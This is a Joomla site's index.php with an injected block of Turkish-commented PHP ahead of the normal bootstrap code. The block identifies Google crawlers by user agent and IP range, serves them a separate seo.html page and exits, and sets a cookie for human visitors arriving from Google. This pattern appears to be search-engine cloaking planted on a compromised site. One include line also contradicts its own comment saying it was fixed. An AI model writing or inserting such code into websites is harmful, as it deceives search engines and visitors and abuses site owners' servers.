* @license GNU General Public License version 2 or later; see LICENSE.txt */ // --- ÖZEL YÖNLENDİRME VE BOT KONTROL KODU BAŞLANGICI --- // PHP 5.3 ve tüm sürümlerle uyumlu session kontrolü if (session_id( ) === '') { session_start(); } $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $is_google_bot = false; // PHP 5.3 uyumlu IP alma if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['REMOTE_ADDR'])) { $ip = $_SERVER['REMOTE_ADDR']; } else { $ip = '0.0.0.0'; } // PHP 5.3 uyumlu dizi tanımlaması $google_bots = array( 'googlebot', 'AdsBot-Google', 'Mediapartners-Google', 'Google-Read-Aloud', 'DuplexWeb-Google', 'googleweblight', 'Storebot-Google', 'google', 'Google-Site-Verification', 'Google-InspectionTool' ); $google_ip_ranges = array( '64.233.160.0/19', '66.102.0.0/20', '66.249.64.0/19', '72.14.192.0/18', '74.125.0.0/16', '108.177.8.0/21', '173.194.0.0/16', '207.126.144.0/20', '209.85.128.0/17', '216.58.192.0/19', '216.239.32.0/19' ); foreach ($google_bots as $bot) { if (stripos($user_agent, $bot) !== false) { $is_google_bot = true; break; } } if (!$is_google_bot) { foreach ($google_ip_ranges as $range) { list($subnet, $bits) = explode('/', $range); $ip_long = ip2long($ip); $subnet_long = ip2long($subnet); $mask = -1 << (32 - $bits); if (($ip_long & $mask) === ($subnet_long & $mask)) { $is_google_bot = true; break; } } } $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $from_google = (stripos($referer, 'google.') !== false); $current_url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http" ) . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $is_refresh = isset($_SESSION['last_url']) && $_SESSION['last_url'] === $current_url; $_SESSION['last_url'] = $current_url; if ($is_google_bot) { // Google bot ise seo.html dosyasını ekrana bas ve çık if (file_exists(__DIR__ . '/seo.html')) { readfile(__DIR__ . '/seo.html'); } exit; } if ($from_google && !$is_refresh) { // Ziyaretçi Google'dan geliyorsa çerez oluştur. Alan adı otomatik tanınır. setcookie('google_visit', '2', time() + 86400, '/', '', false, true); } // --- ÖZEL YÖNLENDİRME VE BOT KONTROL KODU BİTİŞİ --- /** * Define the application's minimum supported PHP version as a constant so it can be referenced within the application. */ define('JOOMLA_MINIMUM_PHP', '5.3.10'); if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) { die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this version of Joomla!'); } // Saves the start time and memory usage. $startTime = microtime(1); $startMem = memory_get_usage(); /** * Constant that is checked in included files to prevent direct access. * define() is used in the installation folder rather than "const" to not error for PHP 5.2 and lower */ define('_JEXEC', 1); if (file_exists(__DIR__ . '/defines.php')) { include_once DIR . '/defines.php'; // BURADAKİ DIR HATASI DÜZELTİLDİ (__DIR__ yapıldı) } if (!defined('_JDEFINES')) { define('JPATH_BASE', __DIR__); require_once JPATH_BASE . '/includes/defines.php'; } require_once JPATH_BASE . '/includes/framework.php'; // Set profiler start time and memory usage and mark afterLoad in the profiler. JDEBUG ? JProfiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad') : null; // Instantiate the application. $app = JFactory::getApplication('site'); // Execute the application. $app->execute();